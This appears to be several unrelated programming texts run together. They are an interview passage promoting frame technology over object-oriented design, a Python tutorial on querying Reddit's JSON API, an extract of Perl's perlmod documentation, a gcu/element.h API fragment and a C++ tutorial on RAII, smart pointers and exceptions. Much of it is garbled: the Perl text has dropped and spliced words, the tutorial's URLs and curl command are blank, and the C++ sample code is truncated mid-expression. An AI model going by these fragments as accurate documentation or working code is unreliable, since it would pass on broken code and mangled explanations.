and drives the design of all frames. Making a frame is easy:
X is now a frame such that an unlimited number of Y frames
can adapt it by overriding just those defaults that Y needs to change (to suit
Y�s context). The idea generalizes: �Z is
like Y, except �� where Z�s exceptions can override details of both X, and
Y�s exceptions to X. Also possible: �Y is
like W + X, except �� And on it goes.
A small group of frame engineers design, build, and evolve
frames. They do these tasks in concert with application developers who design,
assemble, and evolve systems out of frames. Developers, in turn, work in
concert with users and other system stakeholders who debug their requirements
by operating said systems. And the whole process iterates. Indefinitely.
Over time, a library of mature frames evolves that captures
more and more of the organization�s intellectual assets, leaving less and less
to be done from scratch. Most user-requests become small deltas from frameworks
that are already on the shelf. At that point all you need is a small core of frame
engineers, together with appropriate IT professionals, who understand business
needs well enough to resist frivolous or counterproductive requests.
Even better, only the most expert solutions are captured in
standard frames, thereby maximizing the quality of every application. Software
development is transformed from a craft to an exercise in asset investment and
management. And those assets continue to produce ROIs for the organization long
after the originators have been promoted or hired away.
Other life-cycle benefits include: likelihood of errors is dramatically lowered.
Moreover, most errors that do occur can be diagnosed and repaired much faster
because the causes of error are almost always localized in the system�s novel
elements � typically 5% - 15% of the total code-base that is permanently
segregated from the other 85% - 95%� that
comes from robust frames, tested and debugged in earlier systems. The combined
effect of fewer errors and faster repairs is that
�where used� list tells you exactly where to rebuild and retest. Even better, a
change that is needed by all systems is often localized in a single frame �).� above, what�s wrong with this picture is the
challenge to our core values. FT not only flies in the face of our conceit
(that we are the only agents smart enough to modify programs), it also
threatens jobs � both managerial and technical. The number of programmers will
continue to shrink; just as we need far fewer farmers now than in decades past
even though demand for food is higher then ever. The good news is that those
willing and able to thrive with automated adaptability can repatriate the
wherewithal to resume our place as cost-effective IT professionals.?
Stephen, you�ve asked a very interesting question. When OO started
becoming popular I wondered the same thing. My examination of the ideas underlying
the two approaches shed light on a number of important issues that I would like
to share with you.
The short answer to your question is that frames and objects
are in �coopetition�; that is they are both co-operators and competitors. Frames
and objects work together successfully, using languages such as Java, C++ and
C#. Unfortunately, the OO paradigm creates enormous amounts of what I call
gratuitous complexity. So much so that you can climb considerably higher
mountains with just FT applied to any decent 3GL in a runtime environment that
supports dynamically linked libraries (DLLs). In particular, FT offers a simpler,
more robust way to define the architectures of complex systems, such as
enterprise systems, and web-based interoperable services requiring high
security and high performance.
Q3: Those are very
provocative claims, Paul. I would like to see you defend them.
In order to do that, I need to review some of OO�s
fundamental principles. Class hierarchies partition information domains using
the "isa" relationship � a retail customer is a kind of customer is a
kind of agent. �X isa Y� really means X is a proper subset of Y. That is,
classes are analogues of sets in set theory, which is why a subclass must inherit
all the properties of its super-classes, leading to Scott Guthrie�s famous
quote in Dr. Dobbs Journal: "You get the whole gorilla even if you only needed
a banana." Of course, this propensity to inherit too much begat the OO
design principle that classes should be kept small.
Q4: I agree, but
everyone familiar with OO knows this. Why do you bring it up?
It has two serious consequences. First, any domain has what
I call a �natural graininess� � these grains are the agents, data structures,
states, and state transitions that people use to understand and design systems
with. For example, customers, suppliers, products, and services reflect the
natural graininess of business applications. Such systems never have more than
a few dozen such grains. But the small-class design principle can easily partition
domains into many thousands of classes, far below their natural graininess
level. This atomization is a major source of gratuitous complexity, limiting
the size and sophistication of the systems we can aspire to.
A second consequence of basing classes on set theory is that
one can easily drown in a sea of polymorphic look-alikes, a pernicious source
of gratuitous redundancy.
Q5: Okay, I�ll bite. What is a polymorphic look-alike?
Suppose you need Paul, an object that is just like an existing
object Peter, except that Peter inherits a property that is inappropriate for
Paul. To create Paul requires what�s called a polymorph: a new class in which the offending property can be created
afresh to suit Paul. Paul�s class may have to be attached considerably higher in
the inheritance tree than Peter�s did, causing many properties to be redundantly
re-inherited. Peter and Paul may end up being 95% identical, but now you have
two different lineages that must be maintained as if they had nothing in common.
Often it is very hard to figure out if a given class has precisely the
properties you need, or how similar polymorphs actually differ from each other.
Multiply this by the number of object types and you drown in a sea of
polymorphic look-alikes. This, by the way, is a reincarnation of the fatal
problem with '70s-era subroutine libraries. Not coincidentally, OO originated
soon after!
Q6: Yes, but is it even possible to avoid a problem that has plagued us since the beginning?
Well, let�s look at how FT handles polymorphs. Suppose we
have a base frame, Singer, and 3 variants: Peter, Paul, and Mary. Singer is as
large as necessary to express the typical properties of singers. Peter expresses
deltas to Singer that differentiate Peter from typical singers: subtractions
and modifications as well as additions; Paul and Mary do likewise. Suppose each
differs from Singer by 5% on average; then you end up maintaining 115% of Singer
rather than up to 300%.� In OO,
gratuitous redundancy grows in proportion to the number of polymorphs; in FT,
gratuitous redundancy is easy to avoid from the get-go. Even better, there is
no confusion about exactly what properties a polymorph has, and no need to
re-factor class hierarchies in order to reduce redundancies.
Q7: Hmm. I see what
you mean and I like what I�m hearing. Are there more fundamental aspects of OO
that cause modelling problems?
Yes, at least two more aspects. The first is aggregation, OO�s principal technique
for composing objects from objects. These are component relationships,
also known as �hasa� relationships. Aggregation spawns two modelling problems:
(1) having partitioned a domain with "isa" relationships, we now must
further partition it with hasa relationships, thus further atomizing the
domain. (2) Aggregation works at run-time, yet typical hasa relationships
are static, hence ought to be modelled at construction-time. For example, our
arms, legs, and necks are not dynamically linked to our torsos. Linking such
components together at run-time is an inaccurate and inappropriate way to model
body plans. While I can easily contrive counter-examples, components in general
should be seamlessly integrated at construction time, something that goes
against the grain of OO.
Q8: So, how does FT
handle hasa relationships?
FT's grain makes the hasa relationship its primary
partitioning strategy. That is, frames are components of run-time objects,
intended for seamless integration with other frames at construction time, where
almost all component relationships belong.
Q9: But what about
the isa relationships? How do frames handle abstractions?
Abstraction is achieved via generic frame parameters. All
this happens at construction time, thereby reducing run-time overheads, and
allowing the natural graininess of the domain to be modelled directly. Dynamic
linkages can be handled by DLLs, though of course each DLL object or executable
can itself be assembled from frames.?
I claim that hasa is more stable, hence a superior place to
begin modelling objects. This is because starting with "isa"
requires us prematurely to decide which abstractions to model.
Abstractions exist primarily in the minds of modellers, who often disagree
as to which abstractions constitute the "essential" or defining attributes
of objects. Combine such disputes with the fact that there are an infinite
number of ways to generalize any given instance or example, and you can see how
easily OO modelling can float off into la-la land. On the other hand, there are
only a finite number of ways to cleave a specific object into pieces, and it's
much easier to agree on how an object decomposes into parts because it can be
cleaved before being abstracted. Moreover, because component relationships
are static � typically invariant over the life of an object � they provide a
stable skeleton on to which to hang the functional flesh, and provide the
places where variants can arise (i.e., abstractions) as a result of
demonstrated need.
Q11: Earlier you said
there were two more fundamental aspects of OO that cause modelling problems,
but you�ve only mentioned one of them: aggregation. What is the other one?
The other one is multiple-inheritance. MI is widely acknowledged
to be a problem, but not many people understand why. The reason MI is so
problematic in OO comes right back to treating classes as sets. Set theory defines
sets in a brittle manner; for an element (object) to be a member (instance) of
a set (class), it cannot violate any defining property by even one iota. The
analog of MI in set theory is set intersection. If x is to belong to sets A and B, it must satisfy (inherit) all A's
defining rules and all B's defining rules. If A�s and B�s defining rules
clash in even the most minor way, the intersection is the null set. In real
systems, parent classes come from different lineages, thus can easily have
clashing properties. The analogue of a null intersection is a class of
incompatible properties. Crossing horses with donkeys produce sterile mules because
there are too many incompatible genetic traits.
Q12: Alright, so how
do frames avoid this rather universal problem?
Rather than set theory, frames are based on semi-lattices, using the adapt partial ordering. The FT analogue of
multiple inheritance is frame assembly. Whereas MI is problematic for OO, automated
adaptation of frames with clashing properties is the bread-and-butter of FT,
exactly what they are designed to do. Frames embody a very different
epistemology � way of knowing � from set theory.
Q13: That�s a real mouthful!� Please expand on what you mean using simpler terms.
A frame is an archetype � the dictionary definition
of archetype is simply �a model or example from which all similar things are
derived.� Archetypes, unlike sets, have undefined boundaries; can even overlap
in unplanned ways. A frame is sort of �at the center" of its fuzzy set in
the sense that all instantiations of a frame represent members of its set. Thus
when partitioning domains we don't need to worry about getting the grain boundaries
right; that is, the frame may not anticipate all the properties it needs, and
the properties it does have may not be "correct" for any particular
instance. A rule of thumb is that if you have to adapt (i.e., modify and/or
delete) more than 15% of the frame's properties in order to get the instance
you want, then there should be a better frame to use as a starting point. Thus,
modelling becomes a matter of determining the archetypes that characterize the
architecture and connectivity of the domain, using the domain�s natural
graininess to model the objects. If you don't know where all the variation
points are (i.e., abstractions), no problem. New ones can be added later
"for free"; in the sense that the framing process guarantees that it
will remain compatible with all its prior instantiations. This kind of evolvability
allows for a great deal of human fallibility, which is what SE sorely needs.
Final Comment: Thank
you, Paul. This interview sheds new light on some very old problems. I can see
where the frame approach scales up to levels of complexity that would overwhelm
the OO approach. It�s clear that many many systems could benefit from frames,
and I look forward to hearing more about its successes.
Interviews: PAGE 1 (716...) | PAGE 2 (414..715) | PAGE 3 (1..415) | ARTICLES
Suggestions for this page? Email NPA Web Services: click here
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Reddit API - Overview
In an earlier post "How to access various Web Services in Python", we described how we can access services such as YouTube, Vimeo and Twitter via their API's. Note, there are a few Reddit Wrappers that you can use to interact with Reddit. API from Reddit, let's head over to their API documentation. I recommend that you get familiar with the documentation and also pay extra attention to the the overview and the sections about "modhashes", "fullnames" and "type prefixes". The result from the API will return as either XML or JSON. In this post we will use the JSON format. Please refer to above post or the official documentation for more information about the JSON structure.
API documentation
In the API documentation, you can see there are tons of things to do. In this post, we have chosen to extract information from our own Reddit account. The information we need for that is: GET /user/username/where[ .json | .xml ]
GET /user/username/where[ .json | .xml ] ? /user/username/overview ? /user/username/submitted ? /user/username/comments ? /user/username/liked ? /user/username/disliked ? /user/username/hidden ? /user/username/saved
Viewing the JSON output
If we for example want to use "comments", the URL would be: You can see that we have replaced "username" and "where" with our own input.
To see the data response, you can either make a curl request, like this:
curl
...or just paste the URL into your browser.
You can see that the response is JSON. This may be difficult to look at in the browser, unless you have the JSONView plugin installed. These extensions are available for Firefox and Chrome.
Start coding
Now that we have the URL, let's start to do some coding. Open up your favourite IDLE / Editor and import the modules that we will need.
Importing the modules. The pprint and json modules are optional.
from pprint import pprint import requests import json
Make The API Call
Now its time to make the API call to Reddit.
r = requests.get(r'')
Now, we have a Response object called "r". We can get all the information we need from this object.
JSON Response Content
The Requests module comes with a builtin JSON decoder, which we can use for with the JSON data.
As you could see on the image above, the output that we get is not really what we want to display. The question is, how do we extract useful data from it? If we just want to look at the keys in the "r" object:
r = requests.get(r'') data = r.json() print data.keys()
That should give us the following output: [u'kind', u'data'] These keys are very important to us.
Now its time to get the data that we are interested in. Get the JSON feed and copy/paste the output into a JSON editor to get an easier overview over the data. An easy way of doing that is to paste JSON result into an online JSON editor. I use but any JSON editor should do the work.
Let's see an example of this:
r = requests.get(r'') r.text
The output can be seen in the image below.
As you can see from the image, we get the same keys (kind, data) as we did before when we printed the keys.
Convert JSON into a dictionary
Let's convert the JSON data into Python dictionary. You can do that like this:
r.json() #OR json.loads(r.text)
Now when we have a Python dictionary, we start using it to get the the results we want.
Navigate to find useful data
Just navigate your way down until you find what you're after.
r = requests.get(r'') r.text data = r.json() print data['data']['children'][0]
The result is stored in the variable "data". To access our JSON data, we simple use the bracket notation, like this: data['key']. Remember that an array is indexed from zero. Instead of printing each and every entry, we can use a for loop to iterate through our dictionary.
for child in data['data']['children']: print child['data']['id'], " ", child['data']['author'],child['data']['body'] print
We can access anything we want like this, just look up what data you are interested in.
The complete script
As you can see in our complete script, we only have to import one module: (requests)
import requests r = requests.get(r'') r.text data = r.json() for child in data['data']['children']: print child['data']['id'], " ", child['data']['author'],child['data']['body'] print
When you run the script, you should see something similar to:
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perlmod - Perl modules (packages and symbol tables),
eval,
sub,
or end of file,
whichever comes first (the same scope as the my() and local() operators).
All further unqualified dynamic identifiers will be in this namespace.
A package statement only affects is assumed.
That is,
$::sail is equivalent to
$main::sail.,
including all of the punctuation variables like $_.
In addition,
when unqualified,
the identifiers STDIN,
STDOUT,
STDERR,
ARGV,
ARGVOUT,
ENV,
INC,
and SIG are forced to be in package
main,
even when used for other purposes than their builtin one.
Note also that,
if you have a package called
m,
s,
or
y,
then you can't use the qualified form of an identifier because it will be interpreted instead as a pattern match,
a substitution,
or a transliteration.
(Variables beginning with underscore used to be forced into package main, but we decided it was more useful for package writers to be able to use leading underscore to indicate private variables and method names. $_ is still global though.) perldebug.
The special symbol
__PACKAGE__ contains the current package,
but cannot (easily) be used to construct variables.
See perlsub for other scoping issues related to my() and local(), and perlref regarding closures.
The symbol table for a package happens to be stored in the hash of that name with two colons appended.
The main symbol table's name is thus
%main::,
or
%:: for short.
Likewise symbol table for the nested package mentioned earlier is named
%OUTER::INNER::.
The value in each entry of the hash is what you are referring to when you use the
*name typeglob notation.
In fact,
the following have the same effect,
though the first is more efficient because it does the symbol table lookups at compile time:
local *main::foo = *main::bar; local $main::{foo} = $main::{bar};
You can use this to print out all the variables in a package, for instance. The standard dumpvar.pl library and the CPAN module Devel::Symdump make use of this.
Assignment to a typeglob performs an aliasing operation, i.e.,
*dick = *richard;
causes variables, subroutines, formats, and file and directory handles accessible via the identifier
richard also to be accessible via the identifier
dick. If you want to alias only a particular variable or subroutine, you can assign a reference instead:
*dick = \$richard;
Which makes $richard and $dick the same variable, but leaves @richard and @dick as separate arrays. Tricky, eh?
This mechanism may be used to pass and return cheap references into or from subroutines if you won won't want to have to remember to dereference variables. This isn't. A constant subroutine is one prototyped to take no arguments and to return a constant expression. See perlsub for details on these. The
use constant pragma is a convenient shorthand for these. references to the individual elements of *foo, see perlref.
There are two special subroutine definitions that function as package constructors and destructors. These. Once a
BEGIN has run, it is immediately undefined and any code it used is returned to Perl's memory pool. This means you can't ever explicitly call a
BEGIN.
An
END subroutine is executed as late as possible, that is, when the interpreter is being exited, even if it is exiting as a result of a die() function. (But not if it's polymorp).
Inside an
END subroutine,
$? contains the value that the script is going to pass to
exit(). You can modify
$? to change the exit value of the script. Beware of changing
$? by accident (e.g. by running something via
system).
Note that when you use the -n and -p switches to Perl,
BEGIN and
END work just as they do in awk, as a degenerate case. As currently implemented (and subject to change, since its inconvenient at best), both
BEGIN and
END blocks are run when you use the -c switch for a compile-only syntax check, although your main code is @ISA array (which must be a package global, not a lexical).
For more on this, see perltoot and perlobj.
A.
For example, to start a normal module called Some::Module, create a file called Some/Module.pm and start with this template:
package Some::Module; # assumes Some/Module.pm use strict; BEGIN { use Exporter (); use vars qw($VERSION @ISA @EXPORT @EXPORT_OK %EXPORT_TAGS); # set the version for version checking $VERSION = 1.00; # if using RCS/CVS, this may be preferred $VERSION = do { my @r = (q$Revision: 2.21 $ =~ /\d+/g); sprintf "%d."."%02d" x $#r, @r }; # must be all one line, for MakeMaker @ISA = qw(Exporter); @EXPORT = qw(&func1 &func2 &func4); %EXPORT_TAGS = ( ); # eg: TAG => [ qw!name1 name2! ], # your exported package globals go here, # as well as any optionally exported functions @EXPORT_OK = qw($Var1 %Hashit &func3); })
Then go on to declare and use your variables in functions without any qualifications. See Exporter and the perlmodlib for details on mechanics and style issues in module creation.
Perl modules are included into your program by saying
use Module;
or
use Module LIST;
This is exactly equivalent to
BEGIN { require Module; import Module; }
or
BEGIN { require Module; import Module LIST; }
As a special case
use Module ();
is exactly equivalent to
BEGIN { require Module; }).
The two statements:
require SomeModule; require "SomeModule.pm";
differ from each other in two ways. In the first case, any double colons in the module name, such as
Some::Module, are translated into your system's directory separator, compile time, not in the middle of your program's execution. An exception would be if two modules each tried to
use each other, and each also called a function from that other module. In that case, it's easy to use
requires instead. say just
use POSIX to get it all.
For more information on writing extension modules, see perlxstut and perlguts..
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#include <gcu/element.h>
Definition at line 58 of file element.h.
The programs searches a value corresponding to the fields having a non default value. If one is found the other fields are given the corresponding values f the first match before returning.
The programs searches an electronegativity value for the element in the scale if given. If one is found the value and the scale (if NULL on calling) are given the corresponding values of the first match before returning.
Loads the atomic radii database.
Loads the atomic electronic properties database.
Loads the isotopes database.
Loads the Blue Obelisk Database.
Loads all databases.
The value returned by this method might be too low in some cases and is only indicative. Instances of the Atom class accept any number of bonds. This behavior might change in future versions.
Definition at line 180 of file element.h.
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What Is RAII?
RAII stands for “resource acquisition is initialization.” RAII is a design pattern using C++ code to eliminate resource leaks. Resource leaks happen when a resource that your program acquired is not subsequently released. The most familiar example is a memory leak. Since C++ doesn't have a GC the way C# does, you need to be careful to ensure that dynamically allocated memory is freed. Otherwise, you will leak that memory. Resource leaks can also result in the inability to open a file because the file system thinks it’s already open, the inability to obtain a lock in a multi-threaded program, or the inability to release a COM object.
How Does RAII Work?
RAII works because of three basic facts.
- When an automatic storage duration object goes out of scope, its destructor runs.
- When an exception occurs, all automatic duration objects that have been fully constructed since the last try-block began are destroyed in the reverse order they were created before any catch handler is invoked.
- If you nest try-blocks, and none of the catch handlers of an inner try-block handles that type of exception, then the exception propagates to the outer try-block. All automatic duration objects that have been fully constructed within that outer try-block are then destroyed in reverse creation order before any catch handler is invoked, and so on, until something catches the exception or your program crashes.
RAII helps ensure that you release resources, without exceptions occurring, by simply using automatic storage duration objects that contain the resources. It is similar to the combination of the
System.IDisposable interface along with the using statement in C#. Once execution leaves the current block, whether through successful execution or an exception, the resources are freed.
When it comes to exceptions, a key part to remember is that only fully constructed objects are destroyed. If you receive an exception in the midst of a constructor, and the last try block began outside that constructor, since the object isn't fully constructed, its destructor will not run.
This does not mean its member variables, which are objects, will not be destroyed. Any member variable objects that were fully constructed within the constructor before the exception occurred are fully constructed automatic duration objects. Thus, those member objects will be destroyed the same as any other fully constructed objects.
This is why you should always put dynamic allocations inside either
std::unique_ptr or
std::shared_ptr. Instances of those types become fully constructed objects when the allocation succeeds. Even if the constructor for the object you are creating fails further in, the
std::unique_ptr resources will be freed by its destructor and the
std::shared_ptr resources will have their reference count decremented and will be freed if the count becomes zero.
RAII isn't about shared_ptr and unique_ptr only, of course. It also applies to other resource types, such as a file object, where the acquisition is the opening of the file and the destructor ensures that the file is properly closed. This is a particularly good example since you only need to create that code right just once—when you write the class—rather than again and again, which is what you need to do if you write the close logic every place you have to open a file.
How Do I Use RAII?
RAII use is described by its name: Acquiring a dynamic resource should complete the initialization of an object. If you follow this one-resource-per-object pattern, then it is impossible to wind up with a resource leak. Either you will successfully acquire the resource, in which case the object that encapsulates it will finish construction and be subject to destruction, or the acquisition attempt will fail, in which case you did not acquire the resource; thus, there is no resource to release.
The destructor of an object that encapsulates a resource must release that resource. This, among other things, is one of the important reasons why destructors should never throw exceptions, except those they catch and handle within themselves.
If the destructor threw an uncaught exception, then, to quote Bjarne Stroustrup, “All kinds of bad things are likely to happen because the basic rules of the standard library and the language itself will be violated. Don't do it.”
As he said, don’t do it. Make sure you know what exceptions, if any, everything you call in your destructors could throw so you can ensure that you handle them properly.
Now you might be thinking that if you follow this pattern, you will end up writing a ton of classes. You will occasionally write an extra class here and there, but you aren’t likely to write too many because of smart pointers. Smart pointers are objects too. Most types of dynamic resources can be put into at least one of the existing smart pointer classes. When you put a resource acquisition inside a suitable smart pointer, if the acquisition succeeds, then that smart pointer object will be fully constructed. If an exception occurs, then the smart pointer object’s destructor will be called, and the resource will be freed.
There are several important smart pointer types. Let’s have a look at them.
The
std::unique_ptr Function
The unique pointer,
std::unique_ptr, is designed to hold a pointer to a dynamically allocated object. You should use this type only when you want one pointer to the object to exist. It is a template class that takes a mandatory and an optional template argument. The mandatory argument is the type of the pointer it will hold. For instance
auto result = std::unique_ptr<int>(new int()); will create a unique pointer that contains an int*. The optional argument is the type of deleter. We see how to write a deleter in a coming sample. Typically, you can avoid specifying a deleter since the default_deleter, which is provided for you if no deleter is specified, covers almost every case you can imagine.
A class that has
std::unique_ptr as a member variable cannot have a default copy constructor. Copy semantics are disabled for
std::unique_ptr. If you want a copy constructor in a class that has a unique pointer, you must write it. You should also write an overload for the copy operator. Normally, you want
std::shared_ptr in that case.
However, you might have something like an array of data. You may also want any copy of the class to create a copy of the data as it exists at that time. In that case, a unique pointer with a custom copy constructor could be the right choice.
std::unique_ptr is defined in the <memory> header file.
std::unique_ptr has four member functions of interest.
The get member function returns the stored pointer. If you need to call a function that you need to pass the contained pointer to, use get to retrieve a copy of the pointer.
The release member function also returns the stored pointer, but release invalidates the unique_ptr in the process by replacing the stored pointer with a null pointer. If you have a function where you want to create a dynamic object and then return it, while still maintaining exception safety, use
std:unique_ptr to store the dynamically created object, and then return the result of calling release. This gives you exception safety while allowing you to return the dynamic object without destroying it with the
std::unique_ptr’s destructor when the control exits from the function upon returning the released pointer value at the end.
The swap member function allows two unique pointers to exchange their stored pointers, so if A is holding a pointer to X, and B is holding a pointer to Y, the result of calling
A::swap(B); is that A will now hold a pointer to Y, and B will hold a pointer to X. The deleters for each will also be swapped, so if you have a custom deleter for either or both of the unique pointers, be assured that each will retain its associated deleter.
The reset member function causes the object pointed to by the stored pointer, if any, to be destroyed in most cases. If the current stored pointer is null, then nothing is destroyed. If you pass in a pointer to the object that the current stored pointer points to, then nothing is destroyed. You can choose to pass in a new pointer, nullptr, or to call the function with no parameters. If you pass in a new pointer, then that new object is stored. If you pass in nullptr, then the unique pointer will store null. Calling the function with no parameters is the same as calling it with nullptr.
The
std::shared_ptr Function
The shared pointer,
std::shared_ptr, is designed to hold a pointer to a dynamically allocated object and to keep a reference count for it. It is not magic; if you create two shared pointers and pass them each a pointer to the same object, you will end up with two shared pointers—each with a reference count of 1, not 2. The first one that is destroyed will release the underlying resource, giving catastrophic results when you try to use the other one or when the other one is destroyed and tries to release the already released underlying resource.
To use the shared pointer properly, create one instance with an object pointer and then create all other shared pointers for that object from an existing, valid shared pointer for that object. This ensures a common reference count, so the resource will have a proper lifetime. Let’s look at a quick sample to see the right and wrong ways to create shared_ptr objects.
Sample: SharedPtrSample\SharedPtrSample.cpp
#include <memory> #include <iostream> #include <ostream> #include "../pchar.h" using namespace std; struct TwoInts { TwoInts(void) : A(), B() { } TwoInts(int a, int b) : A(a), B(b) { } int A; int B; }; wostream& operator<<(wostream& stream, TwoInts* v) { stream << v->A << L" " << v->B; return stream; } int _pmain(int /*argc*/, _pchar* /*argv*/[]) { //// Bad: results in double free. //try //{ // TwoInts* p_i = new TwoInts(10, 20); // auto sp1 = shared_ptr<TwoInts>(p_i); // auto sp2 = shared_ptr<TwoInts>(p_i); // p_i = nullptr; // wcout << L"sp1 count is " << sp1.use_count() << L"." << endl << // L"sp2 count is " << sp2.use_count() << L"." << endl; //} //catch(exception& e) //{ // wcout << L"There was an exception." << endl; // wcout << e.what() << endl << endl; //} //catch(...) //{ // wcout << L"There was an exception due to a double free " << // L"because we tried freeing p_i twice!" << endl; //} // This is one right way to create shared_ptrs. { auto sp1 = shared_ptr<TwoInts>(new; } // This is another right way. The std::make_shared function takes the // type as its template argument, and then the argument value(s) to the // constructor you want as its parameters, and it automatically // constructs the object for you. This is usually more memory- // efficient, as the reference count can be stored with the // shared_ptr's pointed-to object at the time of the object's creation. { auto sp1 = make_shared; } return 0; }
std::shared_ptr is defined in the <memory> header file.
std::shared_ptr has five member functions of interest.
The get member function works the same as the std::unique_ptr::get member function.
The use_count member function returns a long, which tells you what the current reference count for the target object is. This does not include weak references.
The unique member function returns a bool, informing you whether this particular shared pointer is the sole owner of the target object.
The swap member function works the same as the
std::unique_ptr::swap member function, with the addition that the reference counts for the resources stay the same.
The reset member function decrements the reference count for the underlying resource and destroys it if the resource count becomes zero. If a pointer to an object is passed in, the shared pointer will store it and begin a new reference count for that pointer. If nullptr is passed in, or if no parameter is passed, then the shared pointer will store null.
The
std::make_shared Function
The
std::make_shared template function is a convenient way to construct an initial
std::shared_ptr. As we saw previously in
SharedPtrSample, you pass the type as the template argument and then simply pass in the arguments, if any, for the desired constructor.
std::make_shared will construct a heap instance of the template argument object type and make it into a
std::shared_ptr. You can then pass that
std::shared_ptr as an argument to the
std::shared_ptr constructor to create more references to that shared object.
ComPtr in WRL for Metro-Style Apps
The Windows Runtime Template Library (WRL) provides a smart pointer named ComPtr within the Microsoft::WRL namespace for use with COM objects in Windows 8 Metro-style applications. The pointer is found in the <wrl/client.h> header, as part of the Windows SDK (minimum version 8.0).
Most of the operating system functionality that you can use in Metro-style applications is exposed by the Windows Runtime (“WinRT”). WinRT objects provide their own automatic reference counting functionality for object creation and destruction. Some system functionality, such as Direct3D, requires you to directly use and manipulate it through classic COM. ComPtr handles COM’s IUnknown-based reference counting for you. It also provides convenient wrappers for QueryInterface and includes other functionality that is useful for smart pointers.
The two member functions you typically use are As to get a different interface for the underlying COM object and Get to take an interface pointer to the underlying COM object that the ComPtr holds (this is the equivalent of
std::unique_ptr::get).
Sometimes you will use Detach, which works the same way as std::unique_ptr::release but has a different name because release in COM implies decrementing the reference count and Detach does not do that.
You might use ReleaseAndGetAddressOf for situations where you have an existing ComPtr that could already hold a COM object and you want to replace it with a new COM object of the same type.
ReleaseAndGetAddressOf does the same thing as the GetAddressOf member function, but it first releases its underlying interface, if any.
Exceptions in C++
Unlike .NET, where all exceptions derive from System.Exception and have guaranteed methods and properties, C++ exceptions are not required to derive from anything; nor are they even required to be class types. In C++, throw L"Hello World!"; is perfectly acceptable to the compiler as is throw 5;. Basically, exceptions can be anything.
That said, many C++ programmers will be unhappy to see an exception that does not derive from
std::exception (found in the <exception> header). Deriving all exceptions from
std::exception provides a way to catch exceptions of unknown type and retrieve information from them via the what member function before re-throwing them.
std::exception::what takes no parameters and returns a
const char* string, which you can view or log so you know what caused the exception.
There is no stack trace—not counting the stack-trace capabilities your debugger provides—with C++ exceptions. Because automatic duration objects within the scope of the try-block that catches the exception are automatically destroyed before the appropriate catch handler, if any, is activated, you do not have the luxury of examining the data that may have caused the exception. All you have to work with initially is the message from the what member function.
If it is easy to recreate the conditions that led to the exception, you can set a breakpoint and rerun the program, allowing you to step through execution of the trouble area and possibly spot the issue. Because that is not always possible, it is important to be as precise as you can with the error message.
When deriving from
std::exception, you should make sure to override the what member function to provide a useful error message that will help you and other developers diagnose what went wrong.
Some programmers use a variant of a rule stating that you should always throw
std::exception-derived exceptions. Remembering that the entry point (main or wmain) returns an integer, these programmers will throw
std::exception-derived exceptions when their code can recover, but will simply throw a well-defined integer value if the failure is unrecoverable. The entry-point code will be wrapped in a try-block that has a catch for an int. The catch handler will return the caught int value. On most systems, a return value of 0 from a program means success. Any other value means failure.
If there is a catastrophic failure, then throwing a well-defined integer value other than 0 can help provide some meaning. Unless you are working on a project where this is the preferred style, you should stick to
std::exception-derived exceptions, since they let programs handle exceptions using a simple logging system to record messages from exceptions not handled, and they perform any cleanup that is safe. Throwing something that doesn’t derive from
std::exception would interfere with these error-logging mechanisms.
One last thing to note is that C#’s finally construct has no equivalent in C++. The RAII idiom, when properly implemented, makes it unnecessary since everything will have been cleaned up.
C++ Standard Library Exceptions
We’ve already discussed
std::exception, but there are more types than that available in the standard library, and there is additional functionality to explore. Let’s look at the functionality from the <exception> header file first.
The
std::terminate function, by default, lets you crash out of any application. It should be used sparingly, since calling it rather than throwing an exception will bypass all normal exception handling mechanisms. If you wish, you can write a custom terminate function without parameters and return values. An example of this will be seen in ExceptionsSample, which is coming.
To set the custom terminate, you call
std::set_terminate and pass it the address of the function. You can change the custom terminate handler at any time; the last function set is what will be called in the event of either a call to
std::terminate or an unhandled exception. The default handler calls the abort function from the <cstdlib> header file.
The <stdexcept> header provides a rudimentary framework for exceptions. It defines two classes that inherit from
std::exception. Those two classes serve as the parent class for several other classes.
The
std::runtime_error class is the parent class for exceptions thrown by the runtime or due to a mistake in a C++ Standard Library function. Its children are the
std::overflow_error class, the
std::range_error class, and the
std::underflow_error class.
The
std::logic_error class is the parent class for exceptions thrown due to programmer error. Its children are the
std::domain_error class, the
std::invalid_argument class, the
std::length_error class, and the
std::out_of_range class.
You can derive from these classes or create your own exception classes. Coming up with a good exception hierarchy is a difficult task. On one hand, you want exceptions that will be specific enough that you can handle all exceptions based on your knowledge at build-time. On the other hand, you do not want an exception class for each error that could occur. Your code would end up bloated and unwieldy, not to mention the waste of time writing catch handlers for every exception class.
Spend time at a whiteboard, or with a pen and paper, or however you want thinking about the exception tree your application should have.
The following sample contains a class called
InvalidArgumentExceptionBase, which is used as the parent of a template class called
InvalidArgumentException. The combination of a base class, which can be caught with one exception handler, and a template class, which allows us to customize the output diagnostics based on the type of the parameter, is one option for balancing between specialization and code bloat.
The template class might seem confusing right now; we will be discussing templates in an upcoming chapter, at which point anything currently unclear should clear up.
Sample: ExceptionsSample\InvalidArgumentException.h
#pragma once #include <exception> #include <stdexcept> #include <string> #include <sstream> namespace CppForCsExceptions { class InvalidArgumentExceptionBase : public std::invalid_argument { public: InvalidArgumentExceptionBase(void) : std::invalid_argument("") { } virtual ~InvalidArgumentExceptionBase(void) throw() { } virtual const char* what(void) const throw() override = 0; }; template <class T> class InvalidArgumentException : public InvalidArgumentExceptionBase { public: inline InvalidArgumentException( const char* className, const char* functionSignature, const char* parameterName, T parameterValue ); inline virtual ~InvalidArgumentException(void) throw(); inline virtual const char* what(void) const throw() override; private: std::string m_whatMessage; }; template<class T> InvalidArgumentException<T>::InvalidArgumentException( const char* className, const char* functionSignature, const char* parameterName, T parameterValue) : InvalidArgumentExceptionBase(), m_whatMessage() { std::stringstream msg; msg << className << "::" << functionSignature << " - parameter '" << parameterName << "' had invalid value '" << parameterValue << "'."; m_whatMessage = std::string(msg.str()); } template<class T> InvalidArgumentException<T>::~InvalidArgumentException(void) throw() { } template<class T> const char* InvalidArgumentException<T>::what(void) const throw() { return m_whatMessage.c_str(); } }
Sample: ExceptionsSample\ExceptionsSample.cpp
